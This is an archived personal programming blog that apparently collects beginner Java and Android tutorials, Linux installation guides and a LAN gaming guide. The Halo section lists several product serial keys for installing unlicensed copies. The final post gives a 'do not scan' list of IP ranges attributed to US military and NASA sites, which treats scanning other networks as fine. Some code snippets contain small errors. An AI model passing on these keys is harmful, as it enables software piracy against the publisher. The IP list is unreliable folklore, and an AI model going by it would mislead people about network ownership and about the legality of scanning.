Hacking Forever....

Fibonacci number using Dynamic Programming (JAVA)

2017-03-28T05:34:00.001-07:00

Recursion is most famous solution for the Fibonacci number. But it's complexity is higher. It is 2^n. Is what can be better optimal solution. And Answer is Dynamic Programming. We can solve the problem in o(n). But for this we need to use space complexity. We will be saving our previous record to the memory. Let's see..

Initialize our array with certain length

========================================

| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |

========================================

We will manually assign 1 and 1 to the position 0 and 1 of array. Because we know in Fibonacci Series 1st and 2nd index is 1.

========================================

| 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |

========================================

now we will iterate through 2 to n and add (n-1) + (n-2) and save it to memory. Which we do is our recursive solution as well. So our array looks like this.

=========================================

| 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |

=========================================

we continue iterating it.

=========================================

| 1 | 1 | 2 | 3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |

=========================================

finally it looks like this

==========================================================

| 1 | 1 | 2 | 3 | 5 | 8 | 13 | 21 | 34 | 55 | 89 | 144 | 233 | 377 | 610 | 987 | 1597 |

==========================================================

Below is Java code:

public static void main(String[] args) {

Scanner in = new Scanner(System.in); // Taking input from console

int q = in.nextInt();

int[] arr = new int[q]; // Initializing array

arr[0]= arr[1] = 1; // Setting 0 and 1st pos to 1

System.out.print(arr[0]+" "+arr[1]+" "); printing 0th and 1st pos

for(int i = 2; i<q;i++){ //iterating from 2nd to size

arr[i] = arr[i-1]+arr[i-2]; // adding last two values

System.out.print(arr[i]+" "); //Printing value

}

Performing UI Related task from Worker Thread using Handler

2015-04-15T05:39:00.002-07:00

This Example shows How to do UI related task from Worker Thread using Handler. Main Thread contains Handler object. Which ever thread creates Handler object receives message from other thread (Handler Handles the Message).

import android.app.Activity;

import android.os.Bundle;

import android.os.Handler;

import android.widget.Toast;

public class Testing extends Activity {

// Handler Basically does Two task 1) Handle Message in current thread 2)

// Send to other Thread for proccessing

Handler mHandler;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

// UI thread creates object of Handler.

mHandler = new Handler();

new Thread(new Runnable() { // Worker Thread

// Sending Runnable to Handler MessageQueue which will handled in UI Thread

@Override

public void run() {

mHandler.post(new Runnable() {

@Override

public void run() {

// Showing Toast Message

Toast.makeText(getApplicationContext(), "I am from Worker Thread", Toast.LENGTH_LONG).show();

}

});

}

}).start(); // Starting Thread

}

Sending message from one worker thread to other worker thread using Handler and Looper (Android)

2015-04-15T05:06:00.003-07:00

Below code snippet explains how to send message from one worker thread to another worker thread using Handler, Looper and Message. First worker thread receive message from second thread.

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;

public class Testing extends Activity {

//Handler Basically does Two task 1) Handle Message in current thread 2) Send to other Thread for proccessing
Handler mHandler;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

new Thread(new Runnable() { // First worker Thread
@Override
public void run() {
// Prepare a Massage Queue for Handler so one by one can be processed
Looper.prepare();
mHandler = new Handler() { // Handler is associated with current thread
// Handling Received Messages
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
System.out.println("Recived By " + Thread.currentThread().getName() + " And Msg is: " + msg.arg1);

}
};
Looper.loop();

}
}).start();

new Thread(new Runnable() { // Second Worker Thread
@Override
public void run() {
int i = 0;
while (i < 100) {
/*Obtain a Message from Message Pool. It's good practice not to create Message Object but get from System itself. Saves memory.*/
Message msg = Message.obtain();
System.out.println("Sending MSg via: " + Thread.currentThread().getName() + "Data: " + i);
msg.arg1 += i;
mHandler.sendMessage(msg); // Sending Message to 1st worker thread
i++;
}
}
}).start();
}
}

Producer Consumer Problem Using Shared Variable

2015-04-14T05:51:00.000-07:00

Hi folks, Below JAVA implementation of Producer Consumer using sheared Variable.Producer Produces and Consumer Consumes.

import java.util.Random;

public class ProducerConsumer {
static int food = 0;
static boolean flag = true; // To ensure producer produces first and for toggle
static Thread producer;
static Thread consumer;

public static void main(String... args) {

// Consumer Thread
consumer = new Thread(new Runnable() {
public void run() {
synchronized (producer) { // locking producer
while (true) {
if (flag == false) {
try {
Thread.sleep(1000); // Delay so it consumes per second
} catch (InterruptedException e) {
e.printStackTrace();
}
System.out.println("I am consuming: "+food);
flag = true;
producer.notify(); // notifying producer
}
}
}
}
});
consumer.start(); // Starting consumer thread

// Producer Thread
producer = new Thread(new Runnable() {
public void run() {
synchronized (consumer) { // locking consumer
while (true) {
if (flag == true) {
try {
Thread.sleep(1000); // Delay so It produces every second
} catch (InterruptedException e) {
e.printStackTrace();
}
food = new Random().nextInt(100); // producing a random number
System.out.println("I am producing: "+food);
flag = false;
consumer.notify(); // Notifying consumer
}
}
}
}
});
producer.start(); // starting Producer Thread

}
}

CCAvanue payment Integration For Android (With Sample Project)

2014-11-29T01:49:00.003-08:00

Hi there!
It's been days that I have posted anything here! But this made me write this post
I was going through Payment Integration in India for mobile apps, specially for android. There are some famous Integration method available such as Paypal, Google Wallet. But These two have problems in India since they are not versatile payment method for every Bank and Indian currency.

At last I found CCAvanue which seems to me a better payment getway option in India. They have cool dashboard and a very effective customer service which is avail 24*7.

CCAvanue has two type of integration for android application, one is seemless and other one is non-seemless. Seemless provides you option to save card information to your database but this requires special PCI Certificate or SAQ based on no hits.

On Request from CCAvanue they provide you the mobile integration kit which carry Android and iOS Project with two JSP file (One is getRSA.jsp and other one is ccavResponseHandler.jsp) which needs to be host on your register (register with CCAvanue ) website(You don't have to change anything in JSP file). After hosting these two files you have two url which you will be needing in app.

Since they provide Seemless Integration which is also avail Here. I decided to provide the non-seemless Integration kit which is having three activity first will take input from user second one will open the webView where user will do the transaction and last one which will show the status whether transaction was successful or failure. Non-seemless Integration kit is available Here, You can download (This is basically reduced code ). You have to change the merchant ID and three URL (Cancel URL, Redirect URL and RSA Url) and you are done. I have commented on code where you need to change things. So, app flow will be like this

Enter Information ==> Click on Pay Button ==> Open the webView ==> Enter info ==> pay ==> StatusActivity

If Any further query you have, please comment.
Thanks

Passing an object as parameter to a method

2013-04-18T09:01:00.004-07:00

Passing an object as parameter is always a confusing concept. here is a java code given below which might help you understand this concept .

/*========================================*/

public class HelloWorld{
public static void main(String []args){
myroom obj = new myroom();
dadsroom obj1 = new dadsroom();
obj1.love(obj);
}
}
class myroom{
public int x;
public int y =3;
}
class dadsroom{
void love(myroom o){
System.out.println(o.x +"and"+ o.y);
}
}
/*========================================*/

SHOULD I CALL IT EXPLANATION ? :
I've created three class in above code, one is HelloWorld which combines the main method, next is myroom, and last one is dadsroom. In main method, I've created an object of myroom "obj" and another object of dadsroom "obj1". dadsroom is having a method love which is receiving object of myroom and then printing instance variable using object of myroom. In main, I've called love method using object of class dadsroom and passing object of myroom as parameter..

Let's have a formal EXPLANATION:
what i am trying to do is, i am having a template of myroom and also a template of dadsroom through their objects, now I am adding a room which is same as myroom(every thing is same as myroom cause it is instance of myroom) into dadsroom, now a room which is same as myroom is attached with dadsroom, I can access every feature (which was having myroom) through dadsroom. An object of myroom is attached with dadsroom by passing object of myroom.

More about Activity Life Cycle with an example.

2013-04-14T06:03:00.001-07:00

Hey there, Here is an example of Activity life cycle, This will illustrate more about how onCreate(), onStart(), onResume, onPause(), onStop() call in activity Life Cycle, I have Created two activity and given toast in each method, when you navigate the application Toast will pop on the screen as per Activity Life cycle.



<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical" >

<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello" />

<Button
android:id="@+id/but"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Button" />

</LinearLayout>



/*=========ActivityLifeCycleActivity (Corrosponding code to main.xml) ========*/
package com.hellboys.act;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
public class ActivityLifeCycleActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Toast.makeText(getBaseContext(), "1 onCreate()",Toast.LENGTH_LONG).show();

Button b1;
b1 = (Button) findViewById(R.id.but);
b1.setOnClickListener(new View.OnClickListener() {

@Override
public void onClick(View v) {
Intent intent = new Intent(ActivityLifeCycleActivity.this,abhi.class);
startActivity(intent);
}
});
}

public void onStart(){
super.onStart();
Toast.makeText(getBaseContext(), "1 onStart()",Toast.LENGTH_LONG).show();
}

public void onResume(){
super.onResume();
Toast.makeText(getBaseContext(), "1 onResume()",Toast.LENGTH_LONG).show();
}

public void onPause(){
super.onPause();
Toast.makeText(getBaseContext(), "1 onPause()",Toast.LENGTH_LONG).show();
}

public void onStop(){
super.onStop();
Toast.makeText(getBaseContext(), "1 onStop()",Toast.LENGTH_LONG).show();
}
}
/*=============End of ActivityLifeCycleActivity=================*/



<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical" >

<AnalogClock
android:id="@+id/analogClock1"
android:layout_width="wrap_content"
android:layout_height="wrap_content" />

</LinearLayout>


/*=========Second Activity(Java code corresponding to abhi.xml) ========= */
package com.hellboys.act;

import android.app.Activity;
import android.os.Bundle;
import android.widget.Toast;
public class abhi extends Activity{
@Override
public void onCreate(Bundle savedInstance){
super.onCreate(savedInstance);
setContentView(R.layout.abhi);
Toast.makeText(getBaseContext(), "2 onCreate()", Toast.LENGTH_LONG).show();
}

public void onStart(){
super.onStart();
Toast.makeText(getBaseContext(), "2 start()", Toast.LENGTH_LONG).show();
}
public void onResume(){
super.onResume();
Toast.makeText(getBaseContext(), "2 onResume()", Toast.LENGTH_LONG).show();
}
public void onPause(){
super.onPause();
Toast.makeText(getBaseContext(), "2 onPause()", Toast.LENGTH_LONG).show();
}
public void onStop(){

super.onStop();
Toast.makeText(getBaseContext(), "2 onstop()", Toast.LENGTH_LONG).show();
}
}
/*=================End of abhi============================*/

/*==========================Do +1 if like ....... ========================*/

Sending E-mail through your Application using Mail Clients

2013-03-27T10:24:00.000-07:00

It may possible that we need to send E-mail through our Application, The Code is given below for sending E-mail. It uses the mail client installed in Android phone, Oftenly it doesn't work on the emulator because emulator doesn't have a pre-installed mail-client, we need to install E-mail Client first on emulators then this will work on emulator, you can directly run this your phone.

On Emulator Since no client installed, it'll work fine on phone.

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical" >

<TextView
android:id="@+id/fp"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="forget Password?"
android:layout_gravity="center" />

</LinearLayout>


/*======================== Java File ==================================*/
public class forget extends Activity {
public void onCreate(Bundle savedInstanceActivity ){
super.onCreate(savedInstanceActivity);
setContentView(R.layout.authenticate);

TextView fp = (TextView)findViewById(R.id.fp);
fp.setOnClickListener(new View.OnClickListener() {

@Override
public void onClick(View v) {
try{
Uri uri = Uri.parse("mailto:ashutiwari4@gmail.com");
Intent emailIntent = new Intent(Intent.ACTION_SENDTO,uri);
emailIntent.setType("message/rfc822");
final String aEmailList[] = {"ashutiwari4@gmail.com"};
emailIntent.putExtra(Intent.EXTRA_EMAIL, aEmailList);
emailIntent.putExtra(Intent.EXTRA_SUBJECT,"Sample Subject");
emailIntent.putExtra(Intent.EXTRA_TEXT, "this is extra");
startActivity(Intent.createChooser(emailIntent, "Select Email Application"));
}
catch(Exception ex){
Toast.makeText(forget.this, "There are no email clients installed.", Toast.LENGTH_SHORT).show();
Log.e("SendEmail","Can't send email",ex);
}
}
});
}
}

/*===================== End of Java File ============================*/

Context Menu in Android

2013-03-27T10:21:00.000-07:00

Hey friends, In this post I'm gonna explain you how to create List view ?, how to perform specific task on each item selection?, How to create Context Menu and how to perform specific task on selection of context Item.... So lots of things are there in this post.... So, use it n Enjoy!!

List View On Single Touch

Context Menu On Long press

/*The Code Goes Here!!*/

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:orientation="vertical"
android:id="@+id/lay" >

<ListView
android:id="@+id/listView2"
android:layout_width="match_parent"
android:layout_height="wrap_content" >
</ListView>
</LinearLayout>


/*============================== Java File===========================*/
public class Context1Activity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

final ListView lv = (ListView) findViewById(R.id.listView2);
String[] list = new String[] {"Home","Office","Office2"};

BaseAdapter adapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1,list);
lv.setAdapter(adapter);
/*Registering for context Menu */
registerForContextMenu(lv);
/*Setting onItemClick listener so that on clicking, it will work accordingly "single click" */

lv.setTextFilterEnabled(true);
lv.setOnItemClickListener(new OnItemClickListener()
{
@Override
public void onItemClick(AdapterView<?> arg0, View arg1, int arg2,long arg3) {
if(lv.getItemAtPosition(arg2)=="Home")
home();
if(lv.getItemAtPosition(arg2)=="Office")
office();
if(lv.getItemAtPosition(arg2)=="Office2"){
office2();
}
}
});

/* set onClickListner listener on the whole layout(Liner layout) so that whenever user will click on
screen it will provide option for adding location*/

LinearLayout ll = (LinearLayout)findViewById(R.id.lay);
//registerForContextMenu(ll); //this can be use for open a context menu by clicking on screen
ll.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
Toast.makeText(Context1Activity.this, "linerlayout click", Toast.LENGTH_LONG).show();
}
});
}
/*-------------------------Function body for each item in list -------------------------------------*/
public void home(){
Toast.makeText(Context1Activity.this,"home single click", Toast.LENGTH_LONG).show();
}
public void office(){
Toast.makeText(Context1Activity.this,"office single click", Toast.LENGTH_LONG).show();
}
public void office2(){
Toast.makeText(Context1Activity.this,"office2 single click", Toast.LENGTH_LONG).show();
}

/*--------------------------------------------------------------------------------------------------*/
/* For implementing context menu, two methods should be implement,
* one is onCreateContextMenu for creating context menu which will add menu
* other one is OnContextItemSelected for performing action on selecting the items
*/

@Override
public void onCreateContextMenu(ContextMenu menu, View v,
ContextMenuInfo menuInfo) {
// TODO Auto-generated method stub
super.onCreateContextMenu(menu, v, menuInfo);
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.activity_main, menu); //select layout which should pop up in context menu
menu.add("Add Location!");
menu.add("Delete");
menu.add("Rename");
}

@Override
public boolean onContextItemSelected(MenuItem item) {
// TODO Auto-generated method stub
super.onContextItemSelected(item);
if(item.getTitle()=="Add Location!"){
Addloc();
}
if(item.getTitle()=="Delete"){
Delete();
}
if(item.getTitle()=="Rename"){
Rename();
}
return true;
}
/*----------------------------function body for context menu----------------------------------*/
public void Addloc(){
Toast.makeText(this,"Add location", Toast.LENGTH_LONG).show();
}
public void Delete(){
Toast.makeText(this,"Delete Message", Toast.LENGTH_LONG).show();
}
public void Rename(){
Toast.makeText(this,"Rename message", Toast.LENGTH_LONG).show();
}
/*------------------------------------------------------------------------------------------------*/
}
/*=========================End of Java File===========================*/

Dialog Box with Positive and Negative Button In Android

2013-03-27T10:13:00.000-07:00

Android Supports many kind of Dialog Boxes, In this post I tried to explain Dialog Box with a XML EditText, a Negative and a Positive Buttons as shown in Fig., In further post I'll try to explain some other kind of Dialog box. Here is code for Dialog Box --->

/* ========================Code goes Here!! ===============================*/
public class DialogActivity extends Activity {
private static final int DLG_EXAMPLE1=0;
@Override
public void onCreate(Bundle savedInstanceState){
super.onCreate (savedInstanceState);
setContentView(R.layout.main);

Button b = (Button)findViewById(R.id.ADD_Location );
b.setOnClickListener(new OnClickListener() {

public void onClick(View v) {
showDialog(DLG_EXAMPLE1);
}});
}
// Method for Creating Dialog box
@Override
protected Dialog onCreateDialog(int id ){
switch(id){
case DLG_EXAMPLE1:
return createExampleDialog(); // Function call, body is defined below
default :
return null;
}
}

// This method is used for setting the dialogbox
@Override
protected void onPrepareDialog(int id,Dialog loginPrompt){
switch(id){
case DLG_EXAMPLE1:
final EditText first = (EditText)loginPrompt.findViewById(R.id.rf1);
first.setText(""); // setting the editbox blank
final EditText second = (EditText)loginPrompt.findViewById(R.id.rf2);
second.setText("");
break;
}
}

//Body the function createExampleDialog()
private Dialog createExampleDialog(){
LayoutInflater factory = LayoutInflater.from(this);
final View textEntryView = factory.inflate(R.layout.userpasslayout, null);
AlertDialog.Builder alert = new AlertDialog.Builder(this);
alert.setTitle("Register Yourself!!");
alert.setIcon(R.drawable.logo);
alert.setMessage("Fill information carefully!");
alert.setView(textEntryView);
AlertDialog loginPrompt = alert.create();

//PositiveButton Onclick Listener
alert.setPositiveButton("Register", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
Toast.makeText(DialogActivity.this, "So you think!", Toast.LENGTH_LONG).show();
return;
}
});

//NegativeButton onclick Listener
alert.setNegativeButton("cancel", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// NegtiveButton works automatic it will perform cancel of the dialog box;
return;
}
});
return alert.create();
}
/*=====================================================================*/

How to create Option Menu In Android !

2013-03-27T10:01:00.002-07:00

In android, we oftentimes need to create Option Menu, Here are two methods we need to override as shown in example given below-

public class DialogActivity extends Activity {

private static final int ADD_LOC = Menu.FIRST;
private static final int CHANGE_PASS = Menu.FIRST+1;

@Override
public void onCreate(Bundle savedInstanceState){
super.onCreate (savedInstanceState);
setContentView(R.layout.main);
}
/*====================== Option menu creation==========================*/
/*------------------------------------menu creation--------------------------------------------*/
@Override
public boolean onCreateOptionsMenu(Menu menu){
menu.add(0,ADD_LOC,0,"Add Location").setIcon(R.drawable.add);
/* 1st argument->group id, ADD_LOC -> item_id, 3rd argument -> appearance of item in menu,
last argument -> Name which will apper on the menu */
menu.add(0,CHANGE_PASS,0,"Rename").setIcon(R.drawable.change);
//AlphabeticShortcut(alphaChar) can be used here for selection item through pressing a key Input
return true;
}
/*-----------------------------------Item Selection-----------------------------------------------*/
@Override
public boolean onOptionsItemSelected(MenuItem item){

switch(item.getItemId()){
case ADD_LOC:
Toast.makeText(DialogActivity.this, "So, YOu can EDIT ?", Toast.LENGTH_LONG).show();
// Your code goes here for case One..., Here I have given a Toast on option item selection
return true;
case CHANGE_PASS:
Toast.makeText(DialogActivity.this, "So, YOu can RENAME ?", Toast.LENGTH_LONG).show();
// Your code goes here for case Two...
return true;
}
return false;
}
/*------------------------------------------------------------------------------------------------------*/
/*====================================================================*/
}

Start with Android ...

2013-03-16T01:08:00.000-07:00

Hey There, I was wondering, If I could help you on android application development... So I am starting a section, This section aims to help you on some Important concepts about Android and more about application development problem, such as basic XML creation, placing listeners in corresponding java files, Context menu creation, Option menu creation, Progress bar creation, Various Dialog Box, DATABASE(SQLite), Mail APIs, Sending Mail without using E-mail Client, Services, Broadcast Receiver, Sending SMS, Sending Text via Bluetooth, Animations, ListView, Splash Screen and much more ...... So just Stay tuned ... .. HaPPy AnDrOId Learning ...... :)

How to Download Applications and Software for the Linux and install ‘em:

2012-11-03T14:53:00.001-07:00

Hey there , In this post I will talk about Some discipline of installing, Updating, removing Application on Linux.

1) YUM installation

2) RPM installation

3) APT installation

4) MANDRIVA:URPM installation

5) TAR BALL installation

YUM: Yum is an automatic updater and package installer/remover for rpm systems. It automatically computes dependencies and figures out what things should occur to install packages. It makes it easier to maintain groups of machines without having to manually update each one using rpm. Yum has a plugin interface for adding simple features. Yum can also be used from other python programs via its module interface.

For more information visit http://yum.baseurl.org/

INSTALLATION through YUM: First open Terminal of your Linux

1) Get super user privilege by Typing “su -” (su [space]-) without quotes and press Enter .Here su stands for sudo.(you can first type sudo[enter] and then type yum links)

2) Type yum download link and press Enter. Download starts, it will ask you for installation press [y][Enter].

3) Your application will download and install automatically

RPM Package Manager (RPM): is a package management system. The name RPM variously refers to the .rpm file format, files in this format, software packaged in such files, and the package manager itself. RPM was intended primarily for GNU/Linux distributions; the file format is the baseline package format of the Linux Standard Base.

For more information visit http://rpm.org/

INSTALLATION through RPM: For installing a software package, you use the rpm command with -i option (which stands for "install"). For example,

1).To install an RPM package called software-2.3.4.rpm:
# rpm -i software-2.3.4.rpm

2).If you already have some version installed on your system and want to upgrade it to the new version, you use -U option instead (which stands for "upgrade"). For example, if you have software-2.3.3.rpm installed and want to upgrade it:
# rpm -U software-2.3.4.rpm

3).If you know the needed files are there and RPM is just being stupid, you can ignore the dependencies. Use the --nodeps option if you want to tell RPM not to check any dependencies before installing the package:
# rpm -i software-2.3.4.rpm –nodeps

4).To remove software that was installed with RPM, you use the -e option (which stands for "erase"):
# rpm -e software-2.3.4

5). As you already know, the RPM database contains a list of all installed RPM packages on your system. You can query this database to get info of the packages on your Linux system. To query a single package, you use the -q option. For example, to query a package whose name is "software":
# rpm -q software

6). If you want a list of all packages installed on your system, you'll have to query all with -qa:
# rpm –qa

7). if you're looking for packages whose names contain a specific word, you can use grep for finding those packages. For example, to get a list of all installed RPM packages whose names contain the word "kde", you could do something like this:
# rpm -qa | grep kde

APT INSTALATION: The Advanced Packaging Tool, or APT, is a free user interface that works with core libraries to handle the installation and removal of software on the Debian GNU/Linux distribution and its variants.apt-get is so easy because it not only keeps track of what packages are installed, but also what other packages are available. It will even download them from the Internet for you (if properly configured).

1).To install apt package

apt-get install ${packagename}

2).To remove software is just as easy:

Apt-get remove ${packagename}

3). APT keeps a local database on your hard drive with a list of all available packages and where to find them. This database needs to be explicitly updated. To update the APT database:

Apt-get update

4). For upgrading all package:

Apt-get upgrade

Mandriva: urpm INSTALLATION:

Mandriva Linux (formerly Mandrake and Connectiva) has a toolset similar to APT called urpmi.

1). To install software:

urpmi ${packagename}

2). To remove software:

urpme ${packagename}

3). To update the local database:

urpmi.update –a

4). To install security updates and bug fix:

Urpmi –auto-select

Tar Balls INSTALLATION: A tar ball is a (usually compressed) archive of files, similar to a Zip file on Windows or a Sit on the Mac. Tar balls come in files that end in .tar, .tar.gz, .tgz or something along these lines. To unpack a tar ball, use this command.

tar –xyvf ${packagename}.tar.gz

-:Enjoy Open Source, Happy downloading and installation :-

How to install Fedora Linux:

2012-11-03T08:28:00.001-07:00

Hey guys, I m gonna tell you how to install fedora on your system along with windows and then in other posts I’ll tell you how to in install application on fedora and there links, about setting privileges to users , setting wlan, managing wifi, YUM , RPM and many other important issues with Linux.

Here are some steps, for installation fallow these step:

Step1: Set priority of your bootable information drive (Through BIOS setting).

Step2: Insert CD/DVD or bootable flash drive (You can create it with LinuxLive software, Link for LinuxLive is given in Important links section) of fedora.

Step3: After finding MBR, It will take few seconds for booting and then fedora will give you two option
1) Try Fedora and 2) Install to hard drive.

As appears in Screenshot .you can try it as live OS but here we are interested in “Install to hard drive”, so click on Install to hard Drive.

Step 4: Select the appropriate keyboard layout and click on Next.

Step 5: Select Storage device, for using it on Laptop select Basic Storage Device. Other option will allow you to install fedora on another place like (SANs)

Step 6: Name your computer and click on Next

Step7: Select your time zone.

Step 8: Enter a password for root (Super User).

Step 9: Select the type of installation as per your schema (For running with along with windows select “use free space or create custom layout”).

Step 10: Conformation to changes.

Step 11: Copying live image to hard drive.

Step 12: Completion of copying

Step 13: Completion of Fedora installation.

Step 14: Welcome to fedora click on forward.

Step 15: Licence Information click on forward.

Step 16: Create User; fill the form click on forward.

Step 17: Set Time and date.

Step 18: Hardware Profile click on finish.

Step 19: Here is your login page.

Step 20: your Desktop………………….Here Fedora is ready to use

: - Enjoy Open source and do 1+ if you like-:

How to play counter strike or Halo on wlan. OR How to make wlan to share the Data.

2012-08-14T03:08:00.001-07:00

Hey guys, we oftentimes need to connect two or More computers with the LAN. I am explaining you how to connect computers in to a LAN. And How to play Counter Strike .Here are some step are given below, just fallow 'em And you are done.

TASK 1: wLAN connection

Step1: Turn on your WIFI.

Step2: Go to the control panel -> Network and Internet -> Manage Wireless Networks.

Step3: Click on the Add.

Step4: Click on Create an ad hoc network->Next->

Step5: A window as shown into figure will open. Write network name as you wish. Next TAB is Security type. Select any of them (No Authentication, WEP or WAP2-Personal) provide a security key (as per selection of security key) like password.

Step6: Click on Next-> Your Network is ready to use.

Step7: Go to the control panel -> Network and Internet -> Manage Wireless Networks.

Step 8: Click on the Adaptor properties->Internet Protocol Version 4(TCP/IPv4)

Step9: Set the IP address as 192.168.1.X and subnet mask As 255.255.255.0 (X can be any number 1-254, different computers have different IP by changing X in IP and subnet mask will remain same) click on OK. Close all other window and your LAN connection is done you can see a network of yours is in wireless network connection.

TASK 2: How to play counter strike on LAN.

Step1: Install Counter Strike in each system.

Step2: Create a server by clicking on New Game.

Step 3: To join the game press consol button (~ the button below Esc).and type “connect Server IP:Port no” port no will be 27015.

For Example: connect 192.168.1.2:27015

Step 4:press enter and you are in the game.

TASK3: How to play Halo on LAN.

Step1: Install Halo in each system with different serial key. Here some keys of Halo is given below.

vm324-f4k8w-b9ckb-79kh2-f2cbj

prqhy-w86mm-vrwpm-3fm4b-6qgwc

G9qk2-22kv6-tfxcr-v3y9m-2ccbj

Step2: Create a game and other player will join game.One option is of direct IP.It works on port no 2302.

Example:192.168.1.2:2302

Enjoy, happy LAN.

Important IP, One should not scan these.

2012-08-14T03:01:00.000-07:00

Don't try these

US GOVT IP ADDRESSES YOU SHOULD NOT SCAN
----------------------------------------

RANGE 6
6.* - Army Information Systems Center

RANGE 7
7.*.*.* Defense Information Systems Agency, VA

RANGE 11
11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency, Washington DC

RANGE 21
21. - US Defense Information Systems Agency

RANGE 22
22.* - Defense Information Systems Agency

RANGE 24
24.198.*.*

RANGE 25
25.*.*.* Royal Signals and Radar Establishment, UK

RANGE 26
26.* - Defense Information Systems Agency

RANGE 29
29.* - Defense Information Systems Agency

RANGE 30
30.* - Defense Information Systems Agency

RANGE 49
49.* - Joint Tactical Command

RANGE 50
50.* - Joint Tactical Command

RANGE 55
55.* - Army National Guard Bureau

RANGE 55
55.* - Army National Guard Bureau

RANGE 62
62.0.0.1 - 62.30.255.255 Do not scan!

RANGE 64
64.70.*.* Do not scan
64.224.* Do not Scan
64.225.* Do not scan
64.226.* Do not scan

RANGE 128
128.37.0.0 Army Yuma Proving Ground
128.38.0.0 Naval Surface Warfare Center
128.43.0.0 Defence Research Establishment-Ottawa
128.47.0.0 Army Communications Electronics Command
128.49.0.0 Naval Ocean Systems Center
128.50.0.0 Department of Defense
128.51.0.0 Department of Defense
128.56.0.0 U.S. Naval Academy
128.60.0.0 Naval Research Laboratory
128.63.0.0 Army Ballistics Research Laboratory
128.80.0.0 Army Communications Electronics Command
128.98.0.0 - 128.98.255.255 Defence Evaluation and Research Agency
128.102.0.0 NASA Ames Research Center
128.149.0.0 NASA Headquarters
128.154.0.0 NASA Wallops Flight Facility
128.155.0.0 NASA Langley Research Center
128.156.0.0 NASA Lewis Network Control Center
128.157.0.0 NASA Johnson Space Center
128.158.0.0 NASA Ames Research Center
128.159.0.0 NASA Ames Research Center
128.160.0.0 Naval Research Laboratory
128.161.0.0 NASA Ames Research Center
128.183.0.0 NASA Goddard Space Flight Center
128.190.0.0 Army Belvoir Reasearch and Development Center
128.202.0.0 50th Space Wing
128.216.0.0 MacDill Air Force Base
128.217.0.0 NASA Kennedy Space Center
128.236.0.0 U.S. Air Force Academy

RANGE 129
129.23.0.0 Strategic Defense Initiative Organization
129.29.0.0 United States Military Academy
129.50.0.0 NASA Marshall Space Flight Center
129.51.0.0 Patrick Air Force Base
129.52.0.0 Wright-Patterson Air Force Base
129.53.0.0 - 129.53.255.255 66SPTG-SCB
129.54.0.0 Vandenberg Air Force Base, CA
129.92.0.0 Air Force Institute of Technology
129.99.0.0 NASA Ames Research Center
129.131.0.0 Naval Weapons Center
129.139.0.0 Army Armament Research Development and Engineering Center
129.141.0.0 85 MISSION SUPPORT SQUADRON/SCSN
129.163.0.0 NASA/Johnson Space Center
129.164.0.0 NASA IVV
129.165.0.0 NASA Goddard Space Flight Center
129.166.0.0 NASA - John F. Kennedy Space Center
129.167.0.0 NASA Marshall Space Flight Center
129.168.0.0 NASA Lewis Research Center
129.190.0.0 Naval Underwater Systems Center
129.198.0.0 Air Force Flight Test Center
129.209.0.0 Army Ballistics Research Laboratory
129.229.0.0 U.S. Army Corps of Engineers
129.251.0.0 United States Air Force Academy

RANGE 130
130.40.0.0 NASA Johnson Space Center
130.90.0.0 Mather Air Force Base
130.109.0.0 Naval Coastal Systems Center
130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity
130.124.0.0 Honeywell Defense Systems Group
130.165.0.0 U.S.Army Corps of Engineers
130.167.0.0 NASA Headquarters

RANGE 131
131.3.0.0 - 131.3.255.255 Mather Air Force Base
131.6.0.0 Langley Air Force Base
131.10.0.0 Barksdale Air Force Base
131.17.0.0 Sheppard Air Force Base
131.21.0.0 Hahn Air Base
131.22.0.0 Keesler Air Force Base
131.24.0.0 6 Communications Squadron
131.25.0.0 Patrick Air Force Base
131.27.0.0 75 ABW
131.30.0.0 62 CS/SCSNT
131.32.0.0 37 Communications Squadron
131.35.0.0 Fairchild Air Force Base
131.36.0.0 Yokota Air Base
131.37.0.0 Elmendorf Air Force Base
131.38.0.0 Hickam Air Force Base
131.39.0.0 354CS/SCSN
131.40.0.0 Bergstrom Air Force Base
131.44.0.0 Randolph Air Force Base
